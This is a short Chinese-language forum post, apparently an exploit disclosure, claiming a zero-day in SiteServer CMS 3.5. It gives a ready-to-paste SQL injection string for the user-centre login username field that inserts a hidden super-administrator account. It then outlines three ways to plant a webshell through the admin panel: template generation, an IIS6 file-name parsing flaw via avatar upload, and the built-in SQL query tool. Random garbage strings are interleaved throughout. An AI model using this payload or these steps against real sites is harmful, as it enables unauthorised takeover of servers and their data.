SiteServer CMS 0Day

admin

经测试秒杀最新的3.5版
& u7 s; K5 @+ a1 n" E4 A
2 S4 ~) q/ b% j& Tstieserver官网:www.siteserver.cn
$ \; `( v+ j1 p7 k
) q0 @2 y: j- j; P8 h- G8 M
% ?, P8 k. j( T7 i5 d
EXP:

0 F! H+ L/ E  _& g1 u. x3 Q直接访问UserCenter/login.aspx


( \4 c* `! P1 Y# [
用户名处输入：

123'insert into bairong_Administrator([UserName],[Password],[PasswordFormat],[PasswordSalt]) values('blue','VffSUZcBPo4=','Encrypted','i7jq4LwC25wKDoqHErBWaw==');insert into bairong_AdministratorsInRoles values('Administrator','blue');insert into bairong_AdministratorsInRoles values('RegisteredUser','blue');insert into bairong_AdministratorsInRoles values('ConsoleAdministrator','blue');--
( ^4 Q: m  t0 b" x! O5 h7 S2 c


密码为空，输入验证码后提交，既可向数据库中插入一个用户名为blue  密码为lanhai的超级用户。
8 ?# P* L: N% n
1 u7 j/ \" T5 C; j6 k7 |

/ G7 `: n/ b1 V3 k$ e: Y  S7 E之后再访问后台SiteServer/login.aspx用插入的用户登陆

5 B% Z+ Z/ {* P/ _5 Z# p3 @# h' G: r
/ Z3 k; j0 l# a8 d0 H, a
后台拿webshell的三种方法：

1 C  ^0 y( d9 \4 [8 U. [7 i一、

站点管理-》显示功能-》模板管理-》添加单页模板-》直接生成aspx

9 i/ i& }  j7 ~# i9 o  ^: j% P二、

; G" @/ v, [6 [- {% C- }成员权限-》添加用户-》用户名为：1.asp

http://127.0.0.1/usercenter/

+ d4 R) m! c+ [9 `: x0 e7 O* Z' [用刚才添加的1.asp去登陆，进去之后上传个人头像，利用IIS6解析漏洞得webshell
) I% C7 c2 m5 k1 ]4 ^, P+ D6 m
2 u7 L2 {3 ^: s* q) |/ ]（ps：后台添加用户时不会验证是否含有非法字符）

: K7 B# w5 `: ?" L  G三、
% @: t1 c3 A7 B. }- u9 o
4 C; p. K% \3 z2 x系统工具-》实用工具-》机器参数查看
+ p) x* O$ _/ s& m6 [$ r9 P可以看到数据库类型、名称，WEB路径
/ U" V, F- K& ?0 K; {0 q; l5 F8 S
系统工具-》数据库工具-》SQL语句查询
这功能做的不错，直接就相当于一个查询分析器，什么回显都有，可以backup得webshell，或者利用sqlserver配置不当直接XXOO。

* {2 n+ U# T% R# G